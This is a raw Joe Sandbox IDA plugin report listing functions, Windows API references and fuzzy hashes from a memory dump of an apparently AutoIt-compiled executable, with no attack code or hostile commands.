Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: f453ac5ef37e2ccf8a9ad2945df326ace8dc9f2a60c82dbe8d314492935aaa64
Instruction ID: db68d48450a1cf91408359bc15061263b891a3110c5122362a9389a9bde73080
Opcode Fuzzy Hash: f453ac5ef37e2ccf8a9ad2945df326ace8dc9f2a60c82dbe8d314492935aaa64
Instruction Fuzzy Hash: 21115A71960258FFDB218FA6DC84EAEBBBCEF04750F404569F909E7110D3719E6097A0

Function 00300FE6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0030593C: __FF_MSGBANNER.LIBCMT ref: 00305953
Part of subcall function 0030593C: __NMSG_WRITE.LIBCMT ref: 0030595A
Part of subcall function 0030593C: RtlAllocateHeap.NTDLL(01350000,00000000,00000001,?,00000004,?,?,00301003,?), ref: 0030597F

std::exception::exception.LIBCMT ref: 0030101C
__CxxThrowException@8.LIBCMT ref: 00301031

Part of subcall function 003087CB: RaiseException.KERNEL32(?,?,?,0039CAF8,?,?,?,?,?,00301036,?,0039CAF8,?,00000001), ref: 00308820

Strings

h=7, xrefs: 00301011
`=7, xrefs: 00301029

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: `=7$h=7
API String ID: 3902256705-117353534
Opcode ID: 161dc5876c19c6178c1eb07ae91efd4c296831e95911aa7548b102ba19480bc3
Instruction ID: 22666bd6ed9dd41f7e89879aa016654cab9f949f99b5bb8f40ad9bcf09d29265
Opcode Fuzzy Hash: 161dc5876c19c6178c1eb07ae91efd4c296831e95911aa7548b102ba19480bc3
Instruction Fuzzy Hash: 4BF0F43454620DE2CB33BB58DC21AEE77AC9F01350F104015F848AA2D1DFB18B80D6A1

Function 00343F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00372C4C), ref: 00343F57
GetLastError.KERNEL32 ref: 00343F66
CreateDirectoryW.KERNELBASE(?,00000000), ref: 00343F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00372C4C), ref: 00343FD2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: c6fce7f2d8cba86fe129018a7579c3e05c9e5bc25e8b389051266727a61df659
Instruction ID: b644e097e1b416dfe4d4cc8d4ad2b6d197b5bac93c909388268d6337874c706f
Opcode Fuzzy Hash: c6fce7f2d8cba86fe129018a7579c3e05c9e5bc25e8b389051266727a61df659
Instruction Fuzzy Hash: 74218370908205DF8715DF28C8858AAB7F8FE59364F104A1EF499CB2A2D731EA59CB42

Function 002F5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F5B58

Part of subcall function 002F56F8: _memset.LIBCMT ref: 002F5787
Part of subcall function 002F56F8: _wcscpy.LIBCMT ref: 002F57DB
Part of subcall function 002F56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002F57EB

KillTimer.USER32(?,00000001,?,?), ref: 002F5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002F5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00330D7C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 7dcf89818aa315bb3f78122157ee657888fa4e4a9ea294b18a65359157885ac9
Instruction ID: cac7644ed79ebb0e3bb1955d7aa4cb5fe93d18863298247cddd67be25ca81fef
Opcode Fuzzy Hash: 7dcf89818aa315bb3f78122157ee657888fa4e4a9ea294b18a65359157885ac9
Instruction Fuzzy Hash: 2321C5705047989FE7778B64C8D9BEAFBECAF01308F04049DE79A56282C3742985CB51

Function 002F278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 002F49C2: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,002F27AF,?,00000001), ref: 002F49F4

_free.LIBCMT ref: 0032FB04
_free.LIBCMT ref: 0032FB4B

Part of subcall function 002F29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 002F2ADF

Strings

Bad directive syntax error, xrefs: 0032FB33

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: bbd0da37824b3279214647060afd9d88461121e34d46bc1df4eb898ede348457
Instruction ID: eae2dcea89ea23ecc3dba2b3bfe2fd16ed299a4d118480ca2e4da08be066d2b7
Opcode Fuzzy Hash: bbd0da37824b3279214647060afd9d88461121e34d46bc1df4eb898ede348457
Instruction Fuzzy Hash: 39917E71910229EFCF15EFA4D8919EEB7B8BF05350F10453AF916AB2A1DB30AA54CF50

Function 002F48B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002F48FA

Strings

EA06, xrefs: 003308A1
AU3! ?7, xrefs: 002F48F4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove
String ID: AU3! ?7$EA06
API String ID: 4104443479-2293827299
Opcode ID: dba64e961ea316988a5aff427c24bc8f5b1d4a732e741791d709ee42382aa45f
Instruction ID: cf1fcb68d5f9021e358a5c02756380bdaf1f5f120d85d845e4d7cbbc9dec9497
Opcode Fuzzy Hash: dba64e961ea316988a5aff427c24bc8f5b1d4a732e741791d709ee42382aa45f
Instruction Fuzzy Hash: CC419021B1415C5BDF16BB5488A17BFFBA18F45340F544075FA81EF286D6E04D6487D1

Function 00349CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 002F4AB2: __fread_nolock.LIBCMT ref: 002F4AD0

_wcscmp.LIBCMT ref: 00349DE1
_wcscmp.LIBCMT ref: 00349DF4

Strings

FILE, xrefs: 00349D2D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 76d4ac50440efe97518948cde3d281ab443649dba5b92a6e021db30ac02f2996
Instruction ID: a15bda175ab9dc05bcf461d78dd7dfe75f5695b1d5af1b7470ec78961a1d6418
Opcode Fuzzy Hash: 76d4ac50440efe97518948cde3d281ab443649dba5b92a6e021db30ac02f2996
Instruction Fuzzy Hash: AA41F872A40209BADF22EAA4CC45FEFB7FDDF45710F01447AFA00AB185D675A9448BA4

Function 002F31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0033032B
GetOpenFileNameW.COMDLG32(?), ref: 00330375

Part of subcall function 00300284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002F2A58,?,00008000), ref: 003002A4

Part of subcall function 003009C5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003009E4

Strings

X, xrefs: 00330343

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 95da298c57953790dc52ef61a5d1af98ccf95d22a868b14f957f1e5431c48b24
Instruction ID: 69caa4493c8c99ecb3686ddcdce95a996de6a64d611c6b8a77c427ec988b5514
Opcode Fuzzy Hash: 95da298c57953790dc52ef61a5d1af98ccf95d22a868b14f957f1e5431c48b24
Instruction Fuzzy Hash: A321C671A1128C9BCF06DFD4C845BEEBBFC9F49310F00405AE504AB281DBB45988CFA1

Function 0035D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82af4f8d6f4e70f619190c6e684f65e21670d70a9e14b67567d77b26ec858ff
Instruction ID: 20340ed130dff9cc18681259e64ed8ba12e680db8a8ae4f5e7250ae38a013581
Opcode Fuzzy Hash: c82af4f8d6f4e70f619190c6e684f65e21670d70a9e14b67567d77b26ec858ff
Instruction Fuzzy Hash: 41F14BB16083419FC725DF29C484A6ABBE5FF88314F54892DF8999B361DB30E945CF82

Function 002F59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F59F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 002F5A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 002F5ABB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 4a590199f378498b17ff28685a8e99ed5d0bdb6277f4444f91f42e5206519036
Instruction ID: ceebab7c136d2a9c6653595497ae96a438da639af8e6d0e27e666c3946cd0690
Opcode Fuzzy Hash: 4a590199f378498b17ff28685a8e99ed5d0bdb6277f4444f91f42e5206519036
Instruction Fuzzy Hash: E2318EB0615B158FD721DF24D8C46A7BBE8FB49344F000A3EF79A86250E771A964CB92

Function 0030593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00305953

Part of subcall function 0030A39B: __NMSG_WRITE.LIBCMT ref: 0030A3C2
Part of subcall function 0030A39B: __NMSG_WRITE.LIBCMT ref: 0030A3CC

__NMSG_WRITE.LIBCMT ref: 0030595A

Part of subcall function 0030A3F8: GetModuleFileNameW.KERNEL32(00000000,003A53BA,00000104,00000004,00000001,00301003), ref: 0030A48A
Part of subcall function 0030A3F8: ___crtMessageBoxW.LIBCMT ref: 0030A538

Part of subcall function 003032CF: ___crtCorExitProcess.LIBCMT ref: 003032D5
Part of subcall function 003032CF: ExitProcess.KERNEL32 ref: 003032DE

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

RtlAllocateHeap.NTDLL(01350000,00000000,00000001,?,00000004,?,?,00301003,?), ref: 0030597F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 6095af6b5e52e3a8e2a88d95c85650c3c79d4d666c6ab7c34147957e4d46c378
Instruction ID: 632282d06229e15a6c16b3a903383adaf1d3074a95fe1491d8efe75811489bfe
Opcode Fuzzy Hash: 6095af6b5e52e3a8e2a88d95c85650c3c79d4d666c6ab7c34147957e4d46c378
Instruction Fuzzy Hash: 79019E36243B06DAE6272B64AC72B2F324C9F52770F52052AF415AE5E1DF708D408AA1

Function 003492C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003492D6

Part of subcall function 00302F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00309C54,00000000,00308D5D,003059C3), ref: 00302F99
Part of subcall function 00302F85: GetLastError.KERNEL32(00000000,?,00309C54,00000000,00308D5D,003059C3), ref: 00302FAB

_free.LIBCMT ref: 003492E7
_free.LIBCMT ref: 003492F9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: 089511e11297cd5600c67b514bd572238fa554c91e69ea2bee0f77e214e74f1d
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 9DE012A160660357CA25A5786944F9377EC5F88791756091EB809DF182CE64F8518268

Function 002E5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 0031E234

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 83506fc8719426f5457f7a3c01eab87312ea9de5b13b0a9bd8ae2e0f10bbbc6b
Instruction ID: 5467e6d25f84a0a36a3ab7081a58f14039af2fbc3e55e7e1040c432e32a30db2
Opcode Fuzzy Hash: 83506fc8719426f5457f7a3c01eab87312ea9de5b13b0a9bd8ae2e0f10bbbc6b
Instruction Fuzzy Hash: 5632BA70568392CFC725DF15C494A6AB7E1BF58344F55886DF88A8B362C731ECA1CB82

Function 00365BD1 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 157COMMON

Download Yara Rule

APIs

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

GetWindowTextW.USER32(?,?,00007FFF), ref: 00365D1E

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Strings

all, xrefs: 00365C00

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove$Exception@8TextThrowWindowstd::exception::exception
String ID: all
API String ID: 698342025-991457757
Opcode ID: 172caa877f2f6b6536f46ed5724741d63ccfd3f96453c0e5f1f698d98010a01a
Instruction ID: 0d5e055deeaf3d78b2446133c16b75cbe726e2819dd2e3c568dc54b35bb0daa8
Opcode Fuzzy Hash: 172caa877f2f6b6536f46ed5724741d63ccfd3f96453c0e5f1f698d98010a01a
Instruction Fuzzy Hash: 3651BD71214741AFD716EF20C886FAAB7E4FF48714F404929F9459B292DB70E924CB92

Function 0035E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0035E20C

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

_wcscpy.LIBCMT ref: 0035E29B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: f10bf8acb0a0a4d8862134f75655328f03622f27ce3f3cea4c08ac1438a00db3
Instruction ID: 2d2ca477f5aa1fc5af4b19245c231922f0d54fced8bff70c7365efcc58d83ce8
Opcode Fuzzy Hash: f10bf8acb0a0a4d8862134f75655328f03622f27ce3f3cea4c08ac1438a00db3
Instruction Fuzzy Hash: 9E914739A10604DFCB19DF18C595DA9B7E5EF49315B95809AEC0A8F3A2DB30EE15CF80

Function 0034AC0D Relevance: 3.2, APIs: 2, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

SetErrorMode.KERNELBASE(00000001), ref: 0034AC66
SetErrorMode.KERNELBASE(00000000,00000001,00000000), ref: 0034AE01

Part of subcall function 00344FEC: GetFileAttributesW.KERNELBASE(?,00343BFE), ref: 00344FED

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorMode$AttributesFile_memmove
String ID:
API String ID: 2117146460-0
Opcode ID: 31d4158433e9c919d4c4eddbaa9f6ffa161fc7d181f4ba0c10e85d7d13c577de
Instruction ID: 3efb4bbcaa5cdfa0b2486dbf49808293e4c35da84e4572fc60f6b29bf1bf16bf
Opcode Fuzzy Hash: 31d4158433e9c919d4c4eddbaa9f6ffa161fc7d181f4ba0c10e85d7d13c577de
Instruction Fuzzy Hash: 6B516A70508340AFD301EF29C881A6AFBE9BF89314F404A2DF4958B392D771E915CF52

Function 00300E38 Relevance: 3.1, APIs: 2, Instructions: 94threadCOMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00300ED5
CreateThread.KERNELBASE ref: 00300EE7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ChangeCloseCreateFindNotificationThread
String ID:
API String ID: 4060959955-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 968e5e567271dd1d882cc852bed35c084faf72fc1aa2612aefc641f47b62e31d
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: AD31E970A01509DFC71ADF58C4A0A69F7A6FF49300F658AA5E409DB691E731EDC1CBC0

Function 002F5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 002F5FEF

Part of subcall function 0030359C: __lock.LIBCMT ref: 003035A2
Part of subcall function 0030359C: DecodePointer.KERNEL32(00000001,?,002F6004,00338892), ref: 003035AE
Part of subcall function 0030359C: EncodePointer.KERNEL32(?,?,002F6004,00338892), ref: 003035B9

Part of subcall function 002F5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 002F5F18
Part of subcall function 002F5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 002F5F2D

Part of subcall function 002F5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 002F526C
Part of subcall function 002F5240: IsDebuggerPresent.KERNEL32 ref: 002F527E
Part of subcall function 002F5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 002F52E6
Part of subcall function 002F5240: SetCurrentDirectoryW.KERNEL32(?), ref: 002F5366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 002F602F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
